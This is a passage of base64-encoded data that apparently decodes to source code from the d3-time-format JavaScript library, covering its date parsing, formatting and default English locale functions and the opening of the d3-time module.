yc2Uoc3BlY2lmaWVyLCBuZXdEYXRlKSB7XG4gICAgcmV0dXJuIGZ1bmN0aW9uKHN0cmluZykge1xuICAgICAgdmFyIGQgPSBuZXdZZWFyKDE5MDApLFxuICAgICAgICAgIGkgPSBwYXJzZVNwZWNpZmllcihkLCBzcGVjaWZpZXIsIHN0cmluZyArPSBcIlwiLCAwKTtcbiAgICAgIGlmIChpICE9IHN0cmluZy5sZW5ndGgpIHJldHVybiBudWxsO1xuXG4gICAgICAvLyBUaGUgYW0tcG0gZmxhZyBpcyAwIGZvciBBTSwgYW5kIDEgZm9yIFBNLlxuICAgICAgaWYgKFwicFwiIGluIGQpIGQuSCA9IGQuSCAlIDEyICsgZC5wICogMTI7XG5cbiAgICAgIC8vIENvbnZlcnQgZGF5LW9mLXdlZWsgYW5kIHdlZWstb2YteWVhciB0byBkYXktb2YteWVhci5cbiAgICAgIGlmIChcIldcIiBpbiBkIHx8IFwiVVwiIGluIGQpIHtcbiAgICAgICAgaWYgKCEoXCJ3XCIgaW4gZCkpIGQudyA9IFwiV1wiIGluIGQgPyAxIDogMDtcbiAgICAgICAgdmFyIGRheSA9IFwiWlwiIGluIGQgPyB1dGNEYXRlKG5ld1llYXIoZC55KSkuZ2V0VVRDRGF5KCkgOiBuZXdEYXRlKG5ld1llYXIoZC55KSkuZ2V0RGF5KCk7XG4gICAgICAgIGQubSA9IDA7XG4gICAgICAgIGQuZCA9IFwiV1wiIGluIGQgPyAoZC53ICsgNikgJSA3ICsgZC5XICogNyAtIChkYXkgKyA1KSAlIDcgOiBkLncgKyBkLlUgKiA3IC0gKGRheSArIDYpICUgNztcbiAgICAgIH1cblxuICAgICAgLy8gSWYgYSB0aW1lIHpvbmUgaXMgc3BlY2lmaWVkLCBhbGwgZmllbGRzIGFyZSBpbnRlcnByZXRlZCBhcyBVVEMgYW5kIHRoZW5cbiAgICAgIC8vIG9mZnNldCBhY2NvcmRpbmcgdG8gdGhlIHNwZWNpZmllZCB0aW1lIHpvbmUuXG4gICAgICBpZiAoXCJaXCIgaW4gZCkge1xuICAgICAgICBkLkggKz0gZC5aIC8gMTAwIHwgMDtcbiAgICAgICAgZC5NICs9IGQuWiAlIDEwMDtcbiAgICAgICAgcmV0dXJuIHV0Y0RhdGUoZCk7XG4gICAgICB9XG5cbiAgICAgIC8vIE90aGVyd2lzZSwgYWxsIGZpZWxkcyBhcmUgaW4gbG9jYWwgdGltZS5cbiAgICAgIHJldHVybiBuZXdEYXRlKGQpO1xuICAgIH07XG4gIH1cblxuICBmdW5jdGlvbiBwYXJzZVNwZWNpZmllcihkLCBzcGVjaWZpZXIsIHN0cmluZywgaikge1xuICAgIHZhciBpID0gMCxcbiAgICAgICAgbiA9IHNwZWNpZmllci5sZW5ndGgsXG4gICAgICAgIG0gPSBzdHJpbmcubGVuZ3RoLFxuICAgICAgICBjLFxuICAgICAgICBwYXJzZTtcblxuICAgIHdoaWxlIChpIDwgbikge1xuICAgICAgaWYgKGogPj0gbSkgcmV0dXJuIC0xO1xuICAgICAgYyA9IHNwZWNpZmllci5jaGFyQ29kZUF0KGkrKyk7XG4gICAgICBpZiAoYyA9PT0gMzcpIHtcbiAgICAgICAgYyA9IHNwZWNpZmllci5jaGFyQXQoaSsrKTtcbiAgICAgICAgcGFyc2UgPSBwYXJzZXNbYyBpbiBwYWRzID8gc3BlY2lmaWVyLmNoYXJBdChpKyspIDogY107XG4gICAgICAgIGlmICghcGFyc2UgfHwgKChqID0gcGFyc2UoZCwgc3RyaW5nLCBqKSkgPCAwKSkgcmV0dXJuIC0xO1xuICAgICAgfSBlbHNlIGlmIChjICE9IHN0cmluZy5jaGFyQ29kZUF0KGorKykpIHtcbiAgICAgICAgcmV0dXJuIC0xO1xuICAgICAgfVxuICAgIH1cblxuICAgIHJldHVybiBqO1xuICB9XG5cbiAgZnVuY3Rpb24gcGFyc2VQZXJpb2QoZCwgc3RyaW5nLCBpKSB7XG4gICAgdmFyIG4gPSBwZXJpb2RSZS5leGVjKHN0cmluZy5zbGljZShpKSk7XG4gICAgcmV0dXJuIG4gPyAoZC5wID0gcGVyaW9kTG9va3VwW25bMF0udG9Mb3dlckNhc2UoKV0sIGkgKyBuWzBdLmxlbmd0aCkgOiAtMTtcbiAgfVxuXG4gIGZ1bmN0aW9uIHBhcnNlU2hvcnRXZWVrZGF5KGQsIHN0cmluZywgaSkge1xuICAgIHZhciBuID0gc2hvcnRXZWVrZGF5UmUuZXhlYyhzdHJpbmcuc2xpY2UoaSkpO1xuICAgIHJldHVybiBuID8gKGQudyA9IHNob3J0V2Vla2RheUxvb2t1cFtuWzBdLnRvTG93ZXJDYXNlKCldLCBpICsgblswXS5sZW5ndGgpIDogLTE7XG4gIH1cblxuICBmdW5jdGlvbiBwYXJzZVdlZWtkYXkoZCwgc3RyaW5nLCBpKSB7XG4gICAgdmFyIG4gPSB3ZWVrZGF5UmUuZXhlYyhzdHJpbmcuc2xpY2UoaSkpO1xuICAgIHJldHVybiBuID8gKGQudyA9IHdlZWtkYXlMb29rdXBbblswXS50b0xvd2VyQ2FzZSgpXSwgaSArIG5bMF0ubGVuZ3RoKSA6IC0xO1xuICB9XG5cbiAgZnVuY3Rpb24gcGFyc2VTaG9ydE1vbnRoKGQsIHN0cmluZywgaSkge1xuICAgIHZhciBuID0gc2hvcnRNb250aFJlLmV4ZWMoc3RyaW5nLnNsaWNlKGkpKTtcbiAgICByZXR1cm4gbiA/IChkLm0gPSBzaG9ydE1vbnRoTG9va3VwW25bMF0udG9Mb3dlckNhc2UoKV0sIGkgKyBuWzBdLmxlbmd0aCkgOiAtMTtcbiAgfVxuXG4gIGZ1bmN0aW9uIHBhcnNlTW9udGgoZCwgc3RyaW5nLCBpKSB7XG4gICAgdmFyIG4gPSBtb250aFJlLmV4ZWMoc3RyaW5nLnNsaWNlKGkpKTtcbiAgICByZXR1cm4gbiA/IChkLm0gPSBtb250aExvb2t1cFtuWzBdLnRvTG93ZXJDYXNlKCldLCBpICsgblswXS5sZW5ndGgpIDogLTE7XG4gIH1cblxuICBmdW5jdGlvbiBwYXJzZUxvY2FsZURhdGVUaW1lKGQsIHN0cmluZywgaSkge1xuICAgIHJldHVybiBwYXJzZVNwZWNpZmllcihkLCBsb2NhbGVfZGF0ZVRpbWUsIHN0cmluZywgaSk7XG4gIH1cblxuICBmdW5jdGlvbiBwYXJzZUxvY2FsZURhdGUoZCwgc3RyaW5nLCBpKSB7XG4gICAgcmV0dXJuIHBhcnNlU3BlY2lmaWVyKGQsIGxvY2FsZV9kYXRlLCBzdHJpbmcsIGkpO1xuICB9XG5cbiAgZnVuY3Rpb24gcGFyc2VMb2NhbGVUaW1lKGQsIHN0cmluZywgaSkge1xuICAgIHJldHVybiBwYXJzZVNwZWNpZmllcihkLCBsb2NhbGVfdGltZSwgc3RyaW5nLCBpKTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGZvcm1hdFNob3J0V2Vla2RheShkKSB7XG4gICAgcmV0dXJuIGxvY2FsZV9zaG9ydFdlZWtkYXlzW2QuZ2V0RGF5KCldO1xuICB9XG5cbiAgZnVuY3Rpb24gZm9ybWF0V2Vla2RheShkKSB7XG4gICAgcmV0dXJuIGxvY2FsZV93ZWVrZGF5c1tkLmdldERheSgpXTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGZvcm1hdFNob3J0TW9udGgoZCkge1xuICAgIHJldHVybiBsb2NhbGVfc2hvcnRNb250aHNbZC5nZXRNb250aCgpXTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGZvcm1hdE1vbnRoKGQpIHtcbiAgICByZXR1cm4gbG9jYWxlX21vbnRoc1tkLmdldE1vbnRoKCldO1xuICB9XG5cbiAgZnVuY3Rpb24gZm9ybWF0UGVyaW9kKGQpIHtcbiAgICByZXR1cm4gbG9jYWxlX3BlcmlvZHNbKyhkLmdldEhvdXJzKCkgPj0gMTIpXTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGZvcm1hdFVUQ1Nob3J0V2Vla2RheShkKSB7XG4gICAgcmV0dXJuIGxvY2FsZV9zaG9ydFdlZWtkYXlzW2QuZ2V0VVRDRGF5KCldO1xuICB9XG5cbiAgZnVuY3Rpb24gZm9ybWF0VVRDV2Vla2RheShkKSB7XG4gICAgcmV0dXJuIGxvY2FsZV93ZWVrZGF5c1tkLmdldFVUQ0RheSgpXTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGZvcm1hdFVUQ1Nob3J0TW9udGgoZCkge1xuICAgIHJldHVybiBsb2NhbGVfc2hvcnRNb250aHNbZC5nZXRVVENNb250aCgpXTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGZvcm1hdFVUQ01vbnRoKGQpIHtcbiAgICByZXR1cm4gbG9jYWxlX21vbnRoc1tkLmdldFVUQ01vbnRoKCldO1xuICB9XG5cbiAgZnVuY3Rpb24gZm9ybWF0VVRDUGVyaW9kKGQpIHtcbiAgICByZXR1cm4gbG9jYWxlX3BlcmlvZHNbKyhkLmdldFVUQ0hvdXJzKCkgPj0gMTIpXTtcbiAgfVxuXG4gIHJldHVybiB7XG4gICAgZm9ybWF0OiBmdW5jdGlvbihzcGVjaWZpZXIpIHtcbiAgICAgIHZhciBmID0gbmV3Rm9ybWF0KHNwZWNpZmllciArPSBcIlwiLCBmb3JtYXRzKTtcbiAgICAgIGYudG9TdHJpbmcgPSBmdW5jdGlvbigpIHsgcmV0dXJuIHNwZWNpZmllcjsgfTtcbiAgICAgIHJldHVybiBmO1xuICAgIH0sXG4gICAgcGFyc2U6IGZ1bmN0aW9uKHNwZWNpZmllcikge1xuICAgICAgdmFyIHAgPSBuZXdQYXJzZShzcGVjaWZpZXIgKz0gXCJcIiwgbG9jYWxEYXRlKTtcbiAgICAgIHAudG9TdHJpbmcgPSBmdW5jdGlvbigpIHsgcmV0dXJuIHNwZWNpZmllcjsgfTtcbiAgICAgIHJldHVybiBwO1xuICAgIH0sXG4gICAgdXRjRm9ybWF0OiBmdW5jdGlvbihzcGVjaWZpZXIpIHtcbiAgICAgIHZhciBmID0gbmV3Rm9ybWF0KHNwZWNpZmllciArPSBcIlwiLCB1dGNGb3JtYXRzKTtcbiAgICAgIGYudG9TdHJpbmcgPSBmdW5jdGlvbigpIHsgcmV0dXJuIHNwZWNpZmllcjsgfTtcbiAgICAgIHJldHVybiBmO1xuICAgIH0sXG4gICAgdXRjUGFyc2U6IGZ1bmN0aW9uKHNwZWNpZmllcikge1xuICAgICAgdmFyIHAgPSBuZXdQYXJzZShzcGVjaWZpZXIsIHV0Y0RhdGUpO1xuICAgICAgcC50b1N0cmluZyA9IGZ1bmN0aW9uKCkgeyByZXR1cm4gc3BlY2lmaWVyOyB9O1xuICAgICAgcmV0dXJuIHA7XG4gICAgfVxuICB9O1xufVxuXG52YXIgcGFkcyA9IHtcIi1cIjogXCJcIiwgXCJfXCI6IFwiIFwiLCBcIjBcIjogXCIwXCJ9O1xudmFyIG51bWJlclJlID0gL15cXHMqXFxkKy87XG52YXIgcGVyY2VudFJlID0gL14lLztcbnZhciByZXF1b3RlUmUgPSAvW1xcXFxcXF5cXCRcXCpcXCtcXD9cXHxcXFtcXF1cXChcXClcXC5cXHtcXH1dL2c7XG5cbmZ1bmN0aW9uIHBhZCh2YWx1ZSwgZmlsbCwgd2lkdGgpIHtcbiAgdmFyIHNpZ24gPSB2YWx1ZSA8IDAgPyBcIi1cIiA6IFwiXCIsXG4gICAgICBzdHJpbmcgPSAoc2lnbiA/IC12YWx1ZSA6IHZhbHVlKSArIFwiXCIsXG4gICAgICBsZW5ndGggPSBzdHJpbmcubGVuZ3RoO1xuICByZXR1cm4gc2lnbiArIChsZW5ndGggPCB3aWR0aCA/IG5ldyBBcnJheSh3aWR0aCAtIGxlbmd0aCArIDEpLmpvaW4oZmlsbCkgKyBzdHJpbmcgOiBzdHJpbmcpO1xufVxuXG5mdW5jdGlvbiByZXF1b3RlKHMpIHtcbiAgcmV0dXJuIHMucmVwbGFjZShyZXF1b3RlUmUsIFwiXFxcXCQmXCIpO1xufVxuXG5mdW5jdGlvbiBmb3JtYXRSZShuYW1lcykge1xuICByZXR1cm4gbmV3IFJlZ0V4cChcIl4oPzpcIiArIG5hbWVzLm1hcChyZXF1b3RlKS5qb2luKFwifFwiKSArIFwiKVwiLCBcImlcIik7XG59XG5cbmZ1bmN0aW9uIGZvcm1hdExvb2t1cChuYW1lcykge1xuICB2YXIgbWFwID0ge30sIGkgPSAtMSwgbiA9IG5hbWVzLmxlbmd0aDtcbiAgd2hpbGUgKCsraSA8IG4pIG1hcFtuYW1lc1tpXS50b0xvd2VyQ2FzZSgpXSA9IGk7XG4gIHJldHVybiBtYXA7XG59XG5cbmZ1bmN0aW9uIHBhcnNlV2Vla2RheU51bWJlcihkLCBzdHJpbmcsIGkpIHtcbiAgdmFyIG4gPSBudW1iZXJSZS5leGVjKHN0cmluZy5zbGljZShpLCBpICsgMSkpO1xuICByZXR1cm4gbiA/IChkLncgPSArblswXSwgaSArIG5bMF0ubGVuZ3RoKSA6IC0xO1xufVxuXG5mdW5jdGlvbiBwYXJzZVdlZWtOdW1iZXJTdW5kYXkoZCwgc3RyaW5nLCBpKSB7XG4gIHZhciBuID0gbnVtYmVyUmUuZXhlYyhzdHJpbmcuc2xpY2UoaSkpO1xuICByZXR1cm4gbiA/IChkLlUgPSArblswXSwgaSArIG5bMF0ubGVuZ3RoKSA6IC0xO1xufVxuXG5mdW5jdGlvbiBwYXJzZVdlZWtOdW1iZXJNb25kYXkoZCwgc3RyaW5nLCBpKSB7XG4gIHZhciBuID0gbnVtYmVyUmUuZXhlYyhzdHJpbmcuc2xpY2UoaSkpO1xuICByZXR1cm4gbiA/IChkLlcgPSArblswXSwgaSArIG5bMF0ubGVuZ3RoKSA6IC0xO1xufVxuXG5mdW5jdGlvbiBwYXJzZUZ1bGxZZWFyKGQsIHN0cmluZywgaSkge1xuICB2YXIgbiA9IG51bWJlclJlLmV4ZWMoc3RyaW5nLnNsaWNlKGksIGkgKyA0KSk7XG4gIHJldHVybiBuID8gKGQueSA9ICtuWzBdLCBpICsgblswXS5sZW5ndGgpIDogLTE7XG59XG5cbmZ1bmN0aW9uIHBhcnNlWWVhcihkLCBzdHJpbmcsIGkpIHtcbiAgdmFyIG4gPSBudW1iZXJSZS5leGVjKHN0cmluZy5zbGljZShpLCBpICsgMikpO1xuICByZXR1cm4gbiA/IChkLnkgPSArblswXSArICgrblswXSA+IDY4ID8gMTkwMCA6IDIwMDApLCBpICsgblswXS5sZW5ndGgpIDogLTE7XG59XG5cbmZ1bmN0aW9uIHBhcnNlWm9uZShkLCBzdHJpbmcsIGkpIHtcbiAgdmFyIG4gPSAvXihaKXwoWystXVxcZFxcZCkoPzpcXDo/KFxcZFxcZCkpPy8uZXhlYyhzdHJpbmcuc2xpY2UoaSwgaSArIDYpKTtcbiAgcmV0dXJuIG4gPyAoZC5aID0gblsxXSA/IDAgOiAtKG5bMl0gKyAoblszXSB8fCBcIjAwXCIpKSwgaSArIG5bMF0ubGVuZ3RoKSA6IC0xO1xufVxuXG5mdW5jdGlvbiBwYXJzZU1vbnRoTnVtYmVyKGQsIHN0cmluZywgaSkge1xuICB2YXIgbiA9IG51bWJlclJlLmV4ZWMoc3RyaW5nLnNsaWNlKGksIGkgKyAyKSk7XG4gIHJldHVybiBuID8gKGQubSA9IG5bMF0gLSAxLCBpICsgblswXS5sZW5ndGgpIDogLTE7XG59XG5cbmZ1bmN0aW9uIHBhcnNlRGF5T2ZNb250aChkLCBzdHJpbmcsIGkpIHtcbiAgdmFyIG4gPSBudW1iZXJSZS5leGVjKHN0cmluZy5zbGljZShpLCBpICsgMikpO1xuICByZXR1cm4gbiA/IChkLmQgPSArblswXSwgaSArIG5bMF0ubGVuZ3RoKSA6IC0xO1xufVxuXG5mdW5jdGlvbiBwYXJzZURheU9mWWVhcihkLCBzdHJpbmcsIGkpIHtcbiAgdmFyIG4gPSBudW1iZXJSZS5leGVjKHN0cmluZy5zbGljZShpLCBpICsgMykpO1xuICByZXR1cm4gbiA/IChkLm0gPSAwLCBkLmQgPSArblswXSwgaSArIG5bMF0ubGVuZ3RoKSA6IC0xO1xufVxuXG5mdW5jdGlvbiBwYXJzZUhvdXIyNChkLCBzdHJpbmcsIGkpIHtcbiAgdmFyIG4gPSBudW1iZXJSZS5leGVjKHN0cmluZy5zbGljZShpLCBpICsgMikpO1xuICByZXR1cm4gbiA/IChkLkggPSArblswXSwgaSArIG5bMF0ubGVuZ3RoKSA6IC0xO1xufVxuXG5mdW5jdGlvbiBwYXJzZU1pbnV0ZXMoZCwgc3RyaW5nLCBpKSB7XG4gIHZhciBuID0gbnVtYmVyUmUuZXhlYyhzdHJpbmcuc2xpY2UoaSwgaSArIDIpKTtcbiAgcmV0dXJuIG4gPyAoZC5NID0gK25bMF0sIGkgKyBuWzBdLmxlbmd0aCkgOiAtMTtcbn1cblxuZnVuY3Rpb24gcGFyc2VTZWNvbmRzKGQsIHN0cmluZywgaSkge1xuICB2YXIgbiA9IG51bWJlclJlLmV4ZWMoc3RyaW5nLnNsaWNlKGksIGkgKyAyKSk7XG4gIHJldHVybiBuID8gKGQuUyA9ICtuWzBdLCBpICsgblswXS5sZW5ndGgpIDogLTE7XG59XG5cbmZ1bmN0aW9uIHBhcnNlTWlsbGlzZWNvbmRzKGQsIHN0cmluZywgaSkge1xuICB2YXIgbiA9IG51bWJlclJlLmV4ZWMoc3RyaW5nLnNsaWNlKGksIGkgKyAzKSk7XG4gIHJldHVybiBuID8gKGQuTCA9ICtuWzBdLCBpICsgblswXS5sZW5ndGgpIDogLTE7XG59XG5cbmZ1bmN0aW9uIHBhcnNlTGl0ZXJhbFBlcmNlbnQoZCwgc3RyaW5nLCBpKSB7XG4gIHZhciBuID0gcGVyY2VudFJlLmV4ZWMoc3RyaW5nLnNsaWNlKGksIGkgKyAxKSk7XG4gIHJldHVybiBuID8gaSArIG5bMF0ubGVuZ3RoIDogLTE7XG59XG5cbmZ1bmN0aW9uIGZvcm1hdERheU9mTW9udGgoZCwgcCkge1xuICByZXR1cm4gcGFkKGQuZ2V0RGF0ZSgpLCBwLCAyKTtcbn1cblxuZnVuY3Rpb24gZm9ybWF0SG91cjI0KGQsIHApIHtcbiAgcmV0dXJuIHBhZChkLmdldEhvdXJzKCksIHAsIDIpO1xufVxuXG5mdW5jdGlvbiBmb3JtYXRIb3VyMTIoZCwgcCkge1xuICByZXR1cm4gcGFkKGQuZ2V0SG91cnMoKSAlIDEyIHx8IDEyLCBwLCAyKTtcbn1cblxuZnVuY3Rpb24gZm9ybWF0RGF5T2ZZZWFyKGQsIHApIHtcbiAgcmV0dXJuIHBhZCgxICsgZDNUaW1lLnRpbWVEYXkuY291bnQoZDNUaW1lLnRpbWVZZWFyKGQpLCBkKSwgcCwgMyk7XG59XG5cbmZ1bmN0aW9uIGZvcm1hdE1pbGxpc2Vjb25kcyhkLCBwKSB7XG4gIHJldHVybiBwYWQoZC5nZXRNaWxsaXNlY29uZHMoKSwgcCwgMyk7XG59XG5cbmZ1bmN0aW9uIGZvcm1hdE1vbnRoTnVtYmVyKGQsIHApIHtcbiAgcmV0dXJuIHBhZChkLmdldE1vbnRoKCkgKyAxLCBwLCAyKTtcbn1cblxuZnVuY3Rpb24gZm9ybWF0TWludXRlcyhkLCBwKSB7XG4gIHJldHVybiBwYWQoZC5nZXRNaW51dGVzKCksIHAsIDIpO1xufVxuXG5mdW5jdGlvbiBmb3JtYXRTZWNvbmRzKGQsIHApIHtcbiAgcmV0dXJuIHBhZChkLmdldFNlY29uZHMoKSwgcCwgMik7XG59XG5cbmZ1bmN0aW9uIGZvcm1hdFdlZWtOdW1iZXJTdW5kYXkoZCwgcCkge1xuICByZXR1cm4gcGFkKGQzVGltZS50aW1lU3VuZGF5LmNvdW50KGQzVGltZS50aW1lWWVhcihkKSwgZCksIHAsIDIpO1xufVxuXG5mdW5jdGlvbiBmb3JtYXRXZWVrZGF5TnVtYmVyKGQpIHtcbiAgcmV0dXJuIGQuZ2V0RGF5KCk7XG59XG5cbmZ1bmN0aW9uIGZvcm1hdFdlZWtOdW1iZXJNb25kYXkoZCwgcCkge1xuICByZXR1cm4gcGFkKGQzVGltZS50aW1lTW9uZGF5LmNvdW50KGQzVGltZS50aW1lWWVhcihkKSwgZCksIHAsIDIpO1xufVxuXG5mdW5jdGlvbiBmb3JtYXRZZWFyKGQsIHApIHtcbiAgcmV0dXJuIHBhZChkLmdldEZ1bGxZZWFyKCkgJSAxMDAsIHAsIDIpO1xufVxuXG5mdW5jdGlvbiBmb3JtYXRGdWxsWWVhcihkLCBwKSB7XG4gIHJldHVybiBwYWQoZC5nZXRGdWxsWWVhcigpICUgMTAwMDAsIHAsIDQpO1xufVxuXG5mdW5jdGlvbiBmb3JtYXRab25lKGQpIHtcbiAgdmFyIHogPSBkLmdldFRpbWV6b25lT2Zmc2V0KCk7XG4gIHJldHVybiAoeiA+IDAgPyBcIi1cIiA6ICh6ICo9IC0xLCBcIitcIikpXG4gICAgICArIHBhZCh6IC8gNjAgfCAwLCBcIjBcIiwgMilcbiAgICAgICsgcGFkKHogJSA2MCwgXCIwXCIsIDIpO1xufVxuXG5mdW5jdGlvbiBmb3JtYXRVVENEYXlPZk1vbnRoKGQsIHApIHtcbiAgcmV0dXJuIHBhZChkLmdldFVUQ0RhdGUoKSwgcCwgMik7XG59XG5cbmZ1bmN0aW9uIGZvcm1hdFVUQ0hvdXIyNChkLCBwKSB7XG4gIHJldHVybiBwYWQoZC5nZXRVVENIb3VycygpLCBwLCAyKTtcbn1cblxuZnVuY3Rpb24gZm9ybWF0VVRDSG91cjEyKGQsIHApIHtcbiAgcmV0dXJuIHBhZChkLmdldFVUQ0hvdXJzKCkgJSAxMiB8fCAxMiwgcCwgMik7XG59XG5cbmZ1bmN0aW9uIGZvcm1hdFVUQ0RheU9mWWVhcihkLCBwKSB7XG4gIHJldHVybiBwYWQoMSArIGQzVGltZS51dGNEYXkuY291bnQoZDNUaW1lLnV0Y1llYXIoZCksIGQpLCBwLCAzKTtcbn1cblxuZnVuY3Rpb24gZm9ybWF0VVRDTWlsbGlzZWNvbmRzKGQsIHApIHtcbiAgcmV0dXJuIHBhZChkLmdldFVUQ01pbGxpc2Vjb25kcygpLCBwLCAzKTtcbn1cblxuZnVuY3Rpb24gZm9ybWF0VVRDTW9udGhOdW1iZXIoZCwgcCkge1xuICByZXR1cm4gcGFkKGQuZ2V0VVRDTW9udGgoKSArIDEsIHAsIDIpO1xufVxuXG5mdW5jdGlvbiBmb3JtYXRVVENNaW51dGVzKGQsIHApIHtcbiAgcmV0dXJuIHBhZChkLmdldFVUQ01pbnV0ZXMoKSwgcCwgMik7XG59XG5cbmZ1bmN0aW9uIGZvcm1hdFVUQ1NlY29uZHMoZCwgcCkge1xuICByZXR1cm4gcGFkKGQuZ2V0VVRDU2Vjb25kcygpLCBwLCAyKTtcbn1cblxuZnVuY3Rpb24gZm9ybWF0VVRDV2Vla051bWJlclN1bmRheShkLCBwKSB7XG4gIHJldHVybiBwYWQoZDNUaW1lLnV0Y1N1bmRheS5jb3VudChkM1RpbWUudXRjWWVhcihkKSwgZCksIHAsIDIpO1xufVxuXG5mdW5jdGlvbiBmb3JtYXRVVENXZWVrZGF5TnVtYmVyKGQpIHtcbiAgcmV0dXJuIGQuZ2V0VVRDRGF5KCk7XG59XG5cbmZ1bmN0aW9uIGZvcm1hdFVUQ1dlZWtOdW1iZXJNb25kYXkoZCwgcCkge1xuICByZXR1cm4gcGFkKGQzVGltZS51dGNNb25kYXkuY291bnQoZDNUaW1lLnV0Y1llYXIoZCksIGQpLCBwLCAyKTtcbn1cblxuZnVuY3Rpb24gZm9ybWF0VVRDWWVhcihkLCBwKSB7XG4gIHJldHVybiBwYWQoZC5nZXRVVENGdWxsWWVhcigpICUgMTAwLCBwLCAyKTtcbn1cblxuZnVuY3Rpb24gZm9ybWF0VVRDRnVsbFllYXIoZCwgcCkge1xuICByZXR1cm4gcGFkKGQuZ2V0VVRDRnVsbFllYXIoKSAlIDEwMDAwLCBwLCA0KTtcbn1cblxuZnVuY3Rpb24gZm9ybWF0VVRDWm9uZSgpIHtcbiAgcmV0dXJuIFwiKzAwMDBcIjtcbn1cblxuZnVuY3Rpb24gZm9ybWF0TGl0ZXJhbFBlcmNlbnQoKSB7XG4gIHJldHVybiBcIiVcIjtcbn1cblxudmFyIGxvY2FsZSQxO1xuXG5cblxuXG5cbmRlZmF1bHRMb2NhbGUoe1xuICBkYXRlVGltZTogXCIleCwgJVhcIixcbiAgZGF0ZTogXCIlLW0vJS1kLyVZXCIsXG4gIHRpbWU6IFwiJS1JOiVNOiVTICVwXCIsXG4gIHBlcmlvZHM6IFtcIkFNXCIsIFwiUE1cIl0sXG4gIGRheXM6IFtcIlN1bmRheVwiLCBcIk1vbmRheVwiLCBcIlR1ZXNkYXlcIiwgXCJXZWRuZXNkYXlcIiwgXCJUaHVyc2RheVwiLCBcIkZyaWRheVwiLCBcIlNhdHVyZGF5XCJdLFxuICBzaG9ydERheXM6IFtcIlN1blwiLCBcIk1vblwiLCBcIlR1ZVwiLCBcIldlZFwiLCBcIlRodVwiLCBcIkZyaVwiLCBcIlNhdFwiXSxcbiAgbW9udGhzOiBbXCJKYW51YXJ5XCIsIFwiRmVicnVhcnlcIiwgXCJNYXJjaFwiLCBcIkFwcmlsXCIsIFwiTWF5XCIsIFwiSnVuZVwiLCBcIkp1bHlcIiwgXCJBdWd1c3RcIiwgXCJTZXB0ZW1iZXJcIiwgXCJPY3RvYmVyXCIsIFwiTm92ZW1iZXJcIiwgXCJEZWNlbWJlclwiXSxcbiAgc2hvcnRNb250aHM6IFtcIkphblwiLCBcIkZlYlwiLCBcIk1hclwiLCBcIkFwclwiLCBcIk1heVwiLCBcIkp1blwiLCBcIkp1bFwiLCBcIkF1Z1wiLCBcIlNlcFwiLCBcIk9jdFwiLCBcIk5vdlwiLCBcIkRlY1wiXVxufSk7XG5cbmZ1bmN0aW9uIGRlZmF1bHRMb2NhbGUoZGVmaW5pdGlvbikge1xuICBsb2NhbGUkMSA9IGZvcm1hdExvY2FsZShkZWZpbml0aW9uKTtcbiAgZXhwb3J0cy50aW1lRm9ybWF0ID0gbG9jYWxlJDEuZm9ybWF0O1xuICBleHBvcnRzLnRpbWVQYXJzZSA9IGxvY2FsZSQxLnBhcnNlO1xuICBleHBvcnRzLnV0Y0Zvcm1hdCA9IGxvY2FsZSQxLnV0Y0Zvcm1hdDtcbiAgZXhwb3J0cy51dGNQYXJzZSA9IGxvY2FsZSQxLnV0Y1BhcnNlO1xuICByZXR1cm4gbG9jYWxlJDE7XG59XG5cbnZhciBpc29TcGVjaWZpZXIgPSBcIiVZLSVtLSVkVCVIOiVNOiVTLiVMWlwiO1xuXG5mdW5jdGlvbiBmb3JtYXRJc29OYXRpdmUoZGF0ZSkge1xuICByZXR1cm4gZGF0ZS50b0lTT1N0cmluZygpO1xufVxuXG52YXIgZm9ybWF0SXNvID0gRGF0ZS5wcm90b3R5cGUudG9JU09TdHJpbmdcbiAgICA/IGZvcm1hdElzb05hdGl2ZVxuICAgIDogZXhwb3J0cy51dGNGb3JtYXQoaXNvU3BlY2lmaWVyKTtcblxuZnVuY3Rpb24gcGFyc2VJc29OYXRpdmUoc3RyaW5nKSB7XG4gIHZhciBkYXRlID0gbmV3IERhdGUoc3RyaW5nKTtcbiAgcmV0dXJuIGlzTmFOKGRhdGUpID8gbnVsbCA6IGRhdGU7XG59XG5cbnZhciBwYXJzZUlzbyA9ICtuZXcgRGF0ZShcIjIwMDAtMDEtMDFUMDA6MDA6MDAuMDAwWlwiKVxuICAgID8gcGFyc2VJc29OYXRpdmVcbiAgICA6IGV4cG9ydHMudXRjUGFyc2UoaXNvU3BlY2lmaWVyKTtcblxuZXhwb3J0cy50aW1lRm9ybWF0RGVmYXVsdExvY2FsZSA9IGRlZmF1bHRMb2NhbGU7XG5leHBvcnRzLnRpbWVGb3JtYXRMb2NhbGUgPSBmb3JtYXRMb2NhbGU7XG5leHBvcnRzLmlzb0Zvcm1hdCA9IGZvcm1hdElzbztcbmV4cG9ydHMuaXNvUGFyc2UgPSBwYXJzZUlzbztcblxuT2JqZWN0LmRlZmluZVByb3BlcnR5KGV4cG9ydHMsICdfX2VzTW9kdWxlJywgeyB2YWx1ZTogdHJ1ZSB9KTtcblxufSkpKTtcbiIsIi8vIGh0dHBzOi8vZDNqcy5vcmcvZDMtdGltZS8gVmVyc2lvbiAxLjAuNC4gQ29weXJpZ2h0IDIwMTYgTWlrZSBCb3N0b2NrLlxuKGZ1bmN0aW9uIChnbG9iYWwsIGZhY3RvcnkpIHtcbiAgdHlwZW9mIGV4cG9ydHMgPT09ICdvYmplY3QnICYmIHR5cGVvZiBtb2R1bGUgIT09ICd1bmRlZmluZWQnID8gZmFjdG9yeShleHBvcnRzKSA6XG4gIHR5cGVvZiBkZWZpbmUgPT09ICdmdW5jdGlvbicgJiYgZGVmaW5lLmFtZCA/IGRlZmluZShbJ2V4cG9ydHMnXSwgZmFjdG9yeSkgOlxuICAoZmFjdG9yeSgoZ2xvYmFsLmQzID0gZ2xvYmFsLmQzIHx8IHt9KSkpO1xufSh0aGlzLCAoZnVuY3Rpb24gKGV4cG9ydHMpIHsgJ3VzZSBzdHJpY3QnO1xuXG52YXIgdDAgPSBuZXcgRGF0ZTtcbnZhciB0MSA9IG5ldyBEYXRlO1xuXG5mdW5jdGlvbiBuZXdJbnRlcnZhbChmbG9vcmksIG9mZnNldGksIGNvdW50LCBmaWVsZCkge1xuXG4gIGZ1bmN0aW9uIGludGVydmFsKGRhdGUpIHtcbiAgICByZXR1cm4gZmx